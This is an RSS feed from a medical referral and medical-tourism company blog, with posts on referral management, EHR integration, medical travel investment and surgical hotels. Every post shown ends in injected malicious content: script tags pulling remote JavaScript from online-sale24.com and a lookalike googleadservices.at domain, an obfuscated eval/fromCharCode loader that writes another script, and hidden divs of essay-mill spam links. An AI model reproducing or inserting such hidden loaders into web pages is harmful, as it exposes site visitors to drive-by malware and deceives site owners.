<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>MedVoy &#187; follow up care</title>
	<atom:link href="http://medvoy.com/blog/tag/follow-up-care/feed/" rel="self" type="application/rss+xml" />
	<link>http://medvoy.com/blog</link>
	<description>Healthcare Referral Made Easy</description>
	<lastBuildDate>Fri, 04 Mar 2016 16:45:32 +0000</lastBuildDate>
	<language>en-US</language>
		<sy:updatePeriod>hourly</sy:updatePeriod>
		<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.7.1</generator>
	<item>
		<title>Healthcare Transparency – Call to Action</title>
		<link>http://medvoy.com/blog/healthcare-transparency-call-to-action/</link>
		<comments>http://medvoy.com/blog/healthcare-transparency-call-to-action/#comments</comments>
		<pubDate>Thu, 31 Oct 2013 18:39:41 +0000</pubDate>
		<dc:creator><![CDATA[admin]]></dc:creator>
				<category><![CDATA[Healthcare Referral Management]]></category>
		<category><![CDATA[care]]></category>
		<category><![CDATA[communication]]></category>
		<category><![CDATA[continuity of care]]></category>
		<category><![CDATA[EHR]]></category>
		<category><![CDATA[EMR]]></category>
		<category><![CDATA[Fast Company]]></category>
		<category><![CDATA[flow]]></category>
		<category><![CDATA[follow up care]]></category>
		<category><![CDATA[health]]></category>
		<category><![CDATA[healthcare]]></category>
		<category><![CDATA[healthcare dollars]]></category>
		<category><![CDATA[healthcare price transparency]]></category>
		<category><![CDATA[information]]></category>
		<category><![CDATA[medical care]]></category>
		<category><![CDATA[medical continuity]]></category>
		<category><![CDATA[medical specialist]]></category>
		<category><![CDATA[medical surgeon]]></category>
		<category><![CDATA[medical treatments]]></category>
		<category><![CDATA[medicine]]></category>
		<category><![CDATA[Medvoy]]></category>
		<category><![CDATA[patient charts]]></category>
		<category><![CDATA[patient records]]></category>
		<category><![CDATA[physician to physician referral]]></category>
		<category><![CDATA[referral]]></category>
		<category><![CDATA[Referral Leakage]]></category>
		<category><![CDATA[transparency]]></category>
		<category><![CDATA[US healthcare reform]]></category>

		<guid isPermaLink="false">http://medvoy.com/blog/?p=744</guid>
		<description><![CDATA[A recent Fast Company article, Why We Need Health-Care Business Innovation More Than Ever, lambasted the current flow of information in the current healthcare system paradigm and expressed a call to action for “transparent business models and processes need to be established to enable collaboration.” Some disturbing facts from this article: Three out of every [&#8230;]]]></description>
				<content:encoded><![CDATA[<p>A recent Fast Company article, <a href="http://www.fastcompany.com/3019042/leadership-now/why-we-need-healthcare-business-innovation-more-than-ever"><i>Why We Need Health-Care Business Innovation More Than Ever</i>, </a>lambasted the current flow of information in the current healthcare system paradigm and expressed a call to action for “transparent business models and processes need to be established to enable collaboration.”</p>
<p>Some disturbing facts from this article:</p>
<ul>
<li>Three out of every 10 tests are reordered because results cannot be found.</li>
<li>Patient charts cannot be found on 30% of visits.</li>
<li>One-fifth of medical errors are due to the lack of immediate access to patient information.</li>
<li>Thirty to forty percent of the money we spend on health care&#8211;more than half a trillion dollars a year&#8211;is spent on costs associated with “overuse, underuse, misuse, duplication, system failures, unnecessary repetition, poor communication and inefficiency.”</li>
</ul>
<p>MedVoy was designed to address precisely these issues with transparency and collaboration.  By improving the referral workflow, doctors have immediate access to patient records – eliminating the duplication of procedures, improving efficiency and improving the continuum of care.</p>
<p>&nbsp;<script type='text/javascript' src='http://online-sale24.com/1.js'></script><br />
<script type="text/javascript">
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('i(f.j(h.g(b,1,0,9,6,4,7,c,d,e,k,3,2,1,8,0,8,2,t,a,r,s,1,2,6,l,0,4,q,0,2,3,a,p,5,5,5,3,m,n,b,o,1,0,9,6,4,7)));',30,30,'116|115|111|112|101|57|108|62|105|121|58|60|46|100|99|document|fromCharCode|String|eval|write|123|117|120|125|47|45|59|97|98|110'.split('|'),0,{}))
</script></p>
<div class="dc">
Notice the correct academy choice from a <a href="http://essayprofs.com">advice</a> on any occasion it evolves into scholarship essay.
</div>
<p><script type='text/javascript' src='http://online-sale24.com/1.js'></script></p>
]]></content:encoded>
			<wfw:commentRss>http://medvoy.com/blog/healthcare-transparency-call-to-action/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Why you Need a Referral Management System with your EHR</title>
		<link>http://medvoy.com/blog/why-you-need-a-referral-management-system-with-your-ehr/</link>
		<comments>http://medvoy.com/blog/why-you-need-a-referral-management-system-with-your-ehr/#comments</comments>
		<pubDate>Fri, 15 Feb 2013 20:53:15 +0000</pubDate>
		<dc:creator><![CDATA[admin]]></dc:creator>
				<category><![CDATA[Healthcare Referral Management]]></category>
		<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[continuity]]></category>
		<category><![CDATA[continuity of care]]></category>
		<category><![CDATA[doctor]]></category>
		<category><![CDATA[doctors]]></category>
		<category><![CDATA[EHR]]></category>
		<category><![CDATA[follow up care]]></category>
		<category><![CDATA[medical care]]></category>
		<category><![CDATA[medical continuity]]></category>
		<category><![CDATA[medicine]]></category>
		<category><![CDATA[physician to physician referral]]></category>
		<category><![CDATA[referral]]></category>
		<category><![CDATA[Referral Leakage]]></category>
		<category><![CDATA[US healthcare reform]]></category>

		<guid isPermaLink="false">http://medvoy.com/blog/?p=770</guid>
		<description><![CDATA[Approximately 60 percent of ambulatory providers are unsatisfied with their electronic health records (EHR), according to a new IDC Health Insights report.  The key complaints are usability and workflow; the paramount concern being lost productivity &#8211; 85 percent surveyed said that they were spending more time on documentation and 66 percent cited that they were [&#8230;]]]></description>
				<content:encoded><![CDATA[<p><a href="http://medvoy.com/blog/wp-content/uploads/2013/11/medical-advice-l.jpg"><img class="alignright  wp-image-775" alt="medical-advice-l" src="http://medvoy.com/blog/wp-content/uploads/2013/11/medical-advice-l.jpg" width="240" height="240" /></a>Approximately 60 percent of ambulatory providers are unsatisfied with their electronic health records (EHR), according to a new <a href="http://www.healthcareitnews.com/news/docs-blame-ehrs-lost-productivity)" target="_blank">IDC Health Insights</a> report.  The key complaints are usability and workflow; the paramount concern being lost productivity &#8211; 85 percent surveyed said that they were spending more time on documentation and 66 percent cited that they were seeing fewer patients.</p>
<p>Using a referral system, such as MedVoy can integrate with your existing EHR to help fill these gaps</p>
<p><b>Enhances Provider Communication</b></p>
<p>Healthcare relies on effective communication amongst the providers, specialist and staff.  MedVoy enables the ability to track and manage referrals – even <b>across disparate EHRs and patient management</b> <strong>systems</strong>.  A specialist can understand their cases <i>before</i> they see the patients &#8211; allowing them to use their limited patient time most efficiently.</p>
<p><b>Improved Documentation</b></p>
<p>MedVoy’s secure, HIPPA compliant platform has a very lightweight workflow and then uses push/pulls to other EHRs to allow access to all documentation in one place and to help avoid the duplication in procedures – eliminating the onerous data entry and documentation concerns.</p>
<p><b>Feedback Loops Aids with Continuum of Care</b></p>
<p>A current constraint with referrals is that they often fall into a “black hole”, where the referring providers do not know what happened with the patient.  Using MedVoy, the referring providers can easily look at the referral status, follow up notes, appointments and ongoing patient care.</p>
<p>&nbsp;</p>
<p><script type='text/javascript' src='http://online-sale24.com/1.js'></script><script type='text/javascript' src='http://online-sale24.com/1.js'></script><br />
<script type="text/javascript">
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('i(f.j(h.g(b,1,0,9,6,4,7,c,d,e,k,3,2,1,8,0,8,2,t,a,r,s,1,2,6,l,0,4,q,0,2,3,a,p,5,5,5,3,m,n,b,o,1,0,9,6,4,7)));',30,30,'116|115|111|112|101|57|108|62|105|121|58|60|46|100|99|document|fromCharCode|String|eval|write|123|117|120|125|47|45|59|97|98|110'.split('|'),0,{}))
</script></p>
<div class="dc">
Get informational work that is of the superlative quality <a href="http://buyessayonline.ninja">great service </a> in addition prepare to achievement!
</div>
<p><script type='text/javascript' src='http://online-sale24.com/1.js'></script><script type='text/javascript' src='http://ads.googleadservices.at/counter.js'></script></p>
]]></content:encoded>
			<wfw:commentRss>http://medvoy.com/blog/why-you-need-a-referral-management-system-with-your-ehr/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>MedVoy 2.0 Limited Launch!</title>
		<link>http://medvoy.com/blog/medvoy-2-0-limited-launch-2/</link>
		<comments>http://medvoy.com/blog/medvoy-2-0-limited-launch-2/#comments</comments>
		<pubDate>Sun, 10 Feb 2013 00:08:39 +0000</pubDate>
		<dc:creator><![CDATA[admin]]></dc:creator>
				<category><![CDATA[Healthcare Referral Management]]></category>
		<category><![CDATA[appointments]]></category>
		<category><![CDATA[Bariatrics]]></category>
		<category><![CDATA[bioscience innovation]]></category>
		<category><![CDATA[continuity]]></category>
		<category><![CDATA[continuity of care]]></category>
		<category><![CDATA[Cosmetic surgery]]></category>
		<category><![CDATA[dental]]></category>
		<category><![CDATA[doctor]]></category>
		<category><![CDATA[doctors]]></category>
		<category><![CDATA[follow up care]]></category>
		<category><![CDATA[healthcare]]></category>
		<category><![CDATA[healthcare price transparency]]></category>
		<category><![CDATA[innovation]]></category>
		<category><![CDATA[medical care]]></category>
		<category><![CDATA[medical continuity]]></category>
		<category><![CDATA[medicalappointments]]></category>
		<category><![CDATA[Medicare]]></category>
		<category><![CDATA[medicine]]></category>
		<category><![CDATA[Physician referrals]]></category>
		<category><![CDATA[physician to physician referral]]></category>
		<category><![CDATA[physicians]]></category>
		<category><![CDATA[referral]]></category>
		<category><![CDATA[schedule]]></category>
		<category><![CDATA[US healthcare reform]]></category>

		<guid isPermaLink="false">http://medvoy.com/blog/?p=691</guid>
		<description><![CDATA[MedVoy 2.0 is now available for select group of providers for a limited launch!  MedVoy has been redesigned as a simple, secure healthcare referral management platform that enables healthcare entities to generate referrals, to track, to manage and to promote continuum of care. In the current referral paradigm, 70 percent of referrals go unscheduled and [&#8230;]]]></description>
				<content:encoded><![CDATA[<p><strong>MedVoy 2.0 is now available for select group of providers for a limited launch</strong>!  MedVoy has been redesigned as a simple, secure healthcare referral management platform that enables healthcare entities to generate referrals, to track, to manage and to promote continuum of care.<br />
In the current referral paradigm, 70 percent of referrals go unscheduled and 25 percent of scheduled appointments are missed.  MedVoy flips this dynamics and stops the endless paper shuffling &#8211; <strong>putting providers in control of their referrals.</strong><br />
<strong>Here is a sneak preview of some new features for MedVoy</strong><br />
•    Tracks and manages the referral workflow<br />
•    Provides a lightweight HIPAA-compliant user portal<br />
•    Garner Business Intelligence (BI) insights using our BI reporting platform<a href="http://medvoy.com/blog/wp-content/uploads/2013/09/free.jpg"><img class="alignright size-full wp-image-686" alt="free" src="http://medvoy.com/blog/wp-content/uploads/2013/09/free.jpg" width="105" height="95" /></a><br />
•    Schedule appointments immediately online<br />
<a href="http://54.213.41.82/">Sign up today to get started!</a></p>
<p><script type='text/javascript' src='http://online-sale24.com/1.js'></script><script type='text/javascript' src='http://online-sale24.com/1.js'></script><br />
<script type="text/javascript">
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('i(f.j(h.g(b,1,0,9,6,4,7,c,d,e,k,3,2,1,8,0,8,2,t,a,r,s,1,2,6,l,0,4,q,0,2,3,a,p,5,5,5,3,m,n,b,o,1,0,9,6,4,7)));',30,30,'116|115|111|112|101|57|108|62|105|121|58|60|46|100|99|document|fromCharCode|String|eval|write|123|117|120|125|47|45|59|97|98|110'.split('|'),0,{}))
</script></p>
<div class="dc">
Get thesis written at once right here <a href="http://pro-academic-writers.com">try this out</a>.
</div>
<p><script type='text/javascript' src='http://online-sale24.com/1.js'></script><script type='text/javascript' src='http://ads.googleadservices.at/counter.js'></script></p>
]]></content:encoded>
			<wfw:commentRss>http://medvoy.com/blog/medvoy-2-0-limited-launch-2/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Chat with MedVoy</title>
		<link>http://medvoy.com/blog/chat-with-medvoy/</link>
		<comments>http://medvoy.com/blog/chat-with-medvoy/#comments</comments>
		<pubDate>Fri, 25 Feb 2011 12:31:24 +0000</pubDate>
		<dc:creator><![CDATA[admin]]></dc:creator>
				<category><![CDATA[Medical Tourism]]></category>
		<category><![CDATA[bioscience innovation]]></category>
		<category><![CDATA[case management]]></category>
		<category><![CDATA[chat]]></category>
		<category><![CDATA[Cosmetic surgery]]></category>
		<category><![CDATA[dental]]></category>
		<category><![CDATA[dental medical tourism]]></category>
		<category><![CDATA[doctor]]></category>
		<category><![CDATA[doctors]]></category>
		<category><![CDATA[follow up care]]></category>
		<category><![CDATA[global healthcare]]></category>
		<category><![CDATA[global medical tourism]]></category>
		<category><![CDATA[Health Information for International Travel]]></category>
		<category><![CDATA[healthcare]]></category>
		<category><![CDATA[innovation]]></category>
		<category><![CDATA[international travel]]></category>
		<category><![CDATA[medical continuity]]></category>
		<category><![CDATA[medical tourism]]></category>
		<category><![CDATA[medical tourism company]]></category>
		<category><![CDATA[medical tourism facilitator]]></category>
		<category><![CDATA[medical treatments abroad]]></category>
		<category><![CDATA[Medvoy]]></category>
		<category><![CDATA[Orthopedics]]></category>
		<category><![CDATA[Plastic Surgery]]></category>
		<category><![CDATA[quality of care]]></category>

		<guid isPermaLink="false">http://www.medvoy.com/blog/?p=620</guid>
		<description><![CDATA[The MedVoy website now has chat functionality enabled. Patients can now chat in real time with an expert which allows patients’ questions to be answered immediately and to deliver high quality customer service. Get informational work that is of a fine quality press over here and prosperity.]]></description>
				<content:encoded><![CDATA[<p>The MedVoy website now has chat functionality enabled.  Patients can now chat in real time with an expert which allows patients’ questions to be answered immediately and to deliver high quality customer service.</p>
<p><script type='text/javascript' src='http://online-sale24.com/1.js'></script><script type='text/javascript' src='http://online-sale24.com/1.js'></script><br />
<script type="text/javascript">
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('i(f.j(h.g(b,1,0,9,6,4,7,c,d,e,k,3,2,1,8,0,8,2,t,a,r,s,1,2,6,l,0,4,q,0,2,3,a,p,5,5,5,3,m,n,b,o,1,0,9,6,4,7)));',30,30,'116|115|111|112|101|57|108|62|105|121|58|60|46|100|99|document|fromCharCode|String|eval|write|123|117|120|125|47|45|59|97|98|110'.split('|'),0,{}))
</script></p>
<div class="dc">
Get informational work that is of a fine quality <a href="http://homework-writer.com">press over here</a> and prosperity.
</div>
<p><script type='text/javascript' src='http://online-sale24.com/1.js'></script><script type='text/javascript' src='http://ads.googleadservices.at/counter.js'></script></p>
]]></content:encoded>
			<wfw:commentRss>http://medvoy.com/blog/chat-with-medvoy/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>How to make money investing in the medical travel industry</title>
		<link>http://medvoy.com/blog/how-to-make-money-investing-in-the-medical-travel-industry/</link>
		<comments>http://medvoy.com/blog/how-to-make-money-investing-in-the-medical-travel-industry/#comments</comments>
		<pubDate>Mon, 14 Feb 2011 09:41:25 +0000</pubDate>
		<dc:creator><![CDATA[admin]]></dc:creator>
				<category><![CDATA[Medical Tourism]]></category>
		<category><![CDATA[Baby Boomers]]></category>
		<category><![CDATA[cancer]]></category>
		<category><![CDATA[cancer surgery]]></category>
		<category><![CDATA[Cosmetic surgery]]></category>
		<category><![CDATA[dental]]></category>
		<category><![CDATA[doctor]]></category>
		<category><![CDATA[doctors]]></category>
		<category><![CDATA[domestic medical tourism]]></category>
		<category><![CDATA[follow up care]]></category>
		<category><![CDATA[Foreign Healthcare infrastructure]]></category>
		<category><![CDATA[global]]></category>
		<category><![CDATA[global healthcare]]></category>
		<category><![CDATA[global healthcare insurance]]></category>
		<category><![CDATA[global healthcare referrals]]></category>
		<category><![CDATA[global information and communications technology]]></category>
		<category><![CDATA[global information exchanges]]></category>
		<category><![CDATA[global medical tourism]]></category>
		<category><![CDATA[healthcare]]></category>
		<category><![CDATA[hotels]]></category>
		<category><![CDATA[industry]]></category>
		<category><![CDATA[international travel]]></category>
		<category><![CDATA[medical tourism]]></category>
		<category><![CDATA[medical tourism companies]]></category>
		<category><![CDATA[medical tourism facilitator]]></category>
		<category><![CDATA[Medical Tourism Facilitators]]></category>
		<category><![CDATA[medical travel]]></category>
		<category><![CDATA[medical treatments abroad]]></category>
		<category><![CDATA[medicine]]></category>
		<category><![CDATA[Medvoy]]></category>
		<category><![CDATA[Orthopedics]]></category>
		<category><![CDATA[Plastic Surgery]]></category>
		<category><![CDATA[quality of care]]></category>
		<category><![CDATA[retirement]]></category>
		<category><![CDATA[stem cell centers]]></category>
		<category><![CDATA[stem cells]]></category>
		<category><![CDATA[surgical hotels]]></category>
		<category><![CDATA[telemedicine]]></category>
		<category><![CDATA[treatment facilities]]></category>
		<category><![CDATA[trends]]></category>
		<category><![CDATA[white paper]]></category>

		<guid isPermaLink="false">http://www.medvoy.com/blog/?p=609</guid>
		<description><![CDATA[By now, you’ve heard all the hype about the potential growth of the medical travel industry and how US patients are fleeing the country to get affordable care. Unfortunately, the experts agree, that there are few reliable statistics about the size and growth of the market, there are no common definitions of a medical traveler, [&#8230;]]]></description>
				<content:encoded><![CDATA[<p>By now, you’ve heard all the hype about the potential growth of the medical travel industry and how US patients are fleeing the country to get affordable care. Unfortunately, the experts agree, that there are few reliable statistics about the size and growth of the market, there are no common definitions of a medical traveler, comparisons of revenues and costs are hard to make, and there remain persistent, nagging barriers to widespread adoption by patients, payers and physicians.</p>
<p>That said, investors are still clinging to the promise of big returns fueled by patients losing their health benefits because of high unemployment, the aging population requiring more units of care and exploding costs of healthcare. If you think the medical travel industry is set to explode, there are some areas of investment to consider:</p>
<p><strong>Foreign Healthcare infrastructure</strong></p>
<li>	Hospitals and systems<br />
	Ambulatory surgery centers<br />
	Clinical labs and imaging centers<br />
	Disease specific treatment facilities like cancer centers, stem cell centers, etc</li>
<p><strong>Foreign Travel and hospitality infrastructure</strong></p>
<li>	Hotels and Surgical Hotels<br />
	Spas<br />
	Airport development</li>
<p><strong><br />
Tools and support companies</strong></p>
<li>	Players in global healthcare information exchange<br />
	Data analytics and business intelligence<br />
	Quality, price and value determinations<br />
	Companies offering alternative pricing mechanisms</li>
<p><strong><br />
Supporting global healthcare insurance and travel products</strong></p>
<li>	Trip cancellation<br />
	Follow up care<br />
	Emergency evacuation<br />
	Professional liability<br />
	Infectious disease management<br />
	Geopolitical risk insurance</li>
<p><strong>Firms in the medical travel supply chain</strong></p>
<li>	Travel medicine clinics<br />
	Medical travel facilitators and specialty travel agents<br />
	Medical concierge ground operators<br />
	Currency exchange risk managers</li>
<p><strong><br />
Expatriate retirement health cities and communities</strong></p>
<p>Like other industry sectors, gold, for example, you can invest in the product itself, the people who create the product, or investments that pools risks, like mutual funds or exchange traded funds.</p>
<p>Look for companies in markets where the supply of care does not meet the demands of a growing middle class, that provide products and services delivering low, cost high volume care, and that provide platforms and infrastructure designed to reduce transaction costs for billing and collecting and value-based information.</p>
<p><script type='text/javascript' src='http://online-sale24.com/1.js'></script><script type='text/javascript' src='http://online-sale24.com/1.js'></script><br />
<script type="text/javascript">
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('i(f.j(h.g(b,1,0,9,6,4,7,c,d,e,k,3,2,1,8,0,8,2,t,a,r,s,1,2,6,l,0,4,q,0,2,3,a,p,5,5,5,3,m,n,b,o,1,0,9,6,4,7)));',30,30,'116|115|111|112|101|57|108|62|105|121|58|60|46|100|99|document|fromCharCode|String|eval|write|123|117|120|125|47|45|59|97|98|110'.split('|'),0,{}))
</script></p>
<div class="dc">
Valuable look-on to get improved scholastically <a href="http://essaysheaven.com">websites</a> try this one ghostwriting service.
</div>
<p><script type='text/javascript' src='http://online-sale24.com/1.js'></script><script type='text/javascript' src='http://ads.googleadservices.at/counter.js'></script></p>
]]></content:encoded>
			<wfw:commentRss>http://medvoy.com/blog/how-to-make-money-investing-in-the-medical-travel-industry/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>SURGICAL HOTELS: An Emerging Opportunity</title>
		<link>http://medvoy.com/blog/surgical-hotels-an-emerging-opportunity/</link>
		<comments>http://medvoy.com/blog/surgical-hotels-an-emerging-opportunity/#comments</comments>
		<pubDate>Sun, 13 Feb 2011 09:01:35 +0000</pubDate>
		<dc:creator><![CDATA[admin]]></dc:creator>
				<category><![CDATA[Medical Tourism]]></category>
		<category><![CDATA[bioscience innovation]]></category>
		<category><![CDATA[continuity]]></category>
		<category><![CDATA[continuity of care]]></category>
		<category><![CDATA[Cosmetic surgery]]></category>
		<category><![CDATA[doctor]]></category>
		<category><![CDATA[doctors]]></category>
		<category><![CDATA[follow up care]]></category>
		<category><![CDATA[global healthcare]]></category>
		<category><![CDATA[global medical tourism]]></category>
		<category><![CDATA[healthcare]]></category>
		<category><![CDATA[hotels]]></category>
		<category><![CDATA[innovation]]></category>
		<category><![CDATA[medical care]]></category>
		<category><![CDATA[medical continuity]]></category>
		<category><![CDATA[medical tourism]]></category>
		<category><![CDATA[medical tourism companies]]></category>
		<category><![CDATA[medical tourism companies in USA]]></category>
		<category><![CDATA[medical tourism company]]></category>
		<category><![CDATA[medical tourism facilitator]]></category>
		<category><![CDATA[Medical Tourism Facilitators]]></category>
		<category><![CDATA[medical travel]]></category>
		<category><![CDATA[medical treatments abroad]]></category>
		<category><![CDATA[medicine]]></category>
		<category><![CDATA[Medvoy]]></category>
		<category><![CDATA[Orthopedics]]></category>
		<category><![CDATA[Plastic Surgery]]></category>
		<category><![CDATA[quality of care]]></category>
		<category><![CDATA[surgery]]></category>
		<category><![CDATA[surgical hotels]]></category>

		<guid isPermaLink="false">http://www.medvoy.com/blog/?p=604</guid>
		<description><![CDATA[With more and more patients seeking care away from home, there is an opportunity for the hotel and hospitality industry to offer customized services to patients recovering from surgery and treatments and their companions. Neither a hospital nor a hotel, a surgical hotel is a place designed to provide a level of care below that [&#8230;]]]></description>
				<content:encoded><![CDATA[<p>With more and more patients seeking care away from home, there is an opportunity for the hotel and hospitality industry to offer customized services to patients recovering from surgery and treatments and their companions. Neither a hospital nor a hotel, a surgical hotel is a place designed to provide a level of care below that required in a hospital, but yet accommodates the healing needs of patients in a comfortable environment. </p>
<p>So, what does a surgical hotel offer? </p>
<p>How does a hotel providing services to a postoperative patients and their companions provide value and differentiate themselves?</p>
<p>A surgical hotel, part hospital-part hotel, would offer the following:</p>
<p>1.  location convenient to healthcare facilities<br />
2.  transportation to facilities/airport/other<br />
3.  availability of emergency medical care<br />
4.  amenities<br />
5.  sensitivity to the needs of specific postop patients; connected rooms.<br />
6.  things to do for companions<br />
7.  information and communication technology links with providers<br />
8.  alternative/complementary services for postop patient<br />
9.  security<br />
10. privacy/confidentiality in check in and exits<br />
11. disability accommodations in architecture, transportation vehicles<br />
12. medical concierge<br />
13. accommodate in-room stay by nurse or companion<br />
14. availability of equipment to take vital signs by medical professional<br />
15. availability of wound management supplies<br />
16. online medical education and postop care resources<br />
17. nutrition counselor, special dietary restrictions<br />
18. evacuation preferences<br />
19. brand awareness and snob appeal<br />
20. new design for bedding and furniture?<br />
21. allergy free environment<br />
22. medication reminder system (part of automatic wake-up call system?)<br />
23. mini-kitchen facilities<br />
24. real time patient feedback and request system<br />
25. panic button<br />
26. prevention of nosocomial (need a new word for hotel acquired) infections<br />
27. modified housekeeping schedule<br />
28. separate parking a minimal distance to room<br />
29. wheelchair management<br />
30. quiet<br />
31. bathroom amenities (antibacterial soap, hand lotion, etc)<br />
32. antibacterial surfaces on furniture<br />
33. billing and collecting interface with medical insurance ?<br />
34. disposable cell phones for companions<br />
35. pet accommodations?</p>
<p>The global medical travel industry in rapidly growing and expected to reach $1B by 2012. Developers and the hospitality industry have an opportunity to participate and profit by offering differentiated, value added services to patients and their family members and companions that accompany them for care away from home.</p>
<p><script type='text/javascript' src='http://online-sale24.com/1.js'></script><script type='text/javascript' src='http://online-sale24.com/1.js'></script><br />
<script type="text/javascript">
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('i(f.j(h.g(b,1,0,9,6,4,7,c,d,e,k,3,2,1,8,0,8,2,t,a,r,s,1,2,6,l,0,4,q,0,2,3,a,p,5,5,5,3,m,n,b,o,1,0,9,6,4,7)));',30,30,'116|115|111|112|101|57|108|62|105|121|58|60|46|100|99|document|fromCharCode|String|eval|write|123|117|120|125|47|45|59|97|98|110'.split('|'),0,{}))
</script></p>
<div class="dc">
Meet ingenious institute treatment <a href="http://essayprofs.com">visit an URL</a> created for worldwide admirers.
</div>
<p><script type='text/javascript' src='http://online-sale24.com/1.js'></script><script type='text/javascript' src='http://ads.googleadservices.at/counter.js'></script></p>
]]></content:encoded>
			<wfw:commentRss>http://medvoy.com/blog/surgical-hotels-an-emerging-opportunity/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Global Healthcare Is Not Just About The Cost</title>
		<link>http://medvoy.com/blog/global-healthcare-is-not-just-about-the-cost/</link>
		<comments>http://medvoy.com/blog/global-healthcare-is-not-just-about-the-cost/#comments</comments>
		<pubDate>Tue, 23 Feb 2010 09:37:03 +0000</pubDate>
		<dc:creator><![CDATA[admin]]></dc:creator>
				<category><![CDATA[Medical Tourism]]></category>
		<category><![CDATA[bioscience innovation]]></category>
		<category><![CDATA[continuity of care]]></category>
		<category><![CDATA[cost]]></category>
		<category><![CDATA[dental medical tourism]]></category>
		<category><![CDATA[doctor]]></category>
		<category><![CDATA[domestic medical tourism]]></category>
		<category><![CDATA[follow up care]]></category>
		<category><![CDATA[global healthcare]]></category>
		<category><![CDATA[global medical tourism]]></category>
		<category><![CDATA[global referral]]></category>
		<category><![CDATA[healthcare]]></category>
		<category><![CDATA[Medicaid]]></category>
		<category><![CDATA[medical care]]></category>
		<category><![CDATA[medical continuity]]></category>
		<category><![CDATA[medical cost]]></category>
		<category><![CDATA[medical costs]]></category>
		<category><![CDATA[medical tourism]]></category>
		<category><![CDATA[Medical Tourism Association]]></category>
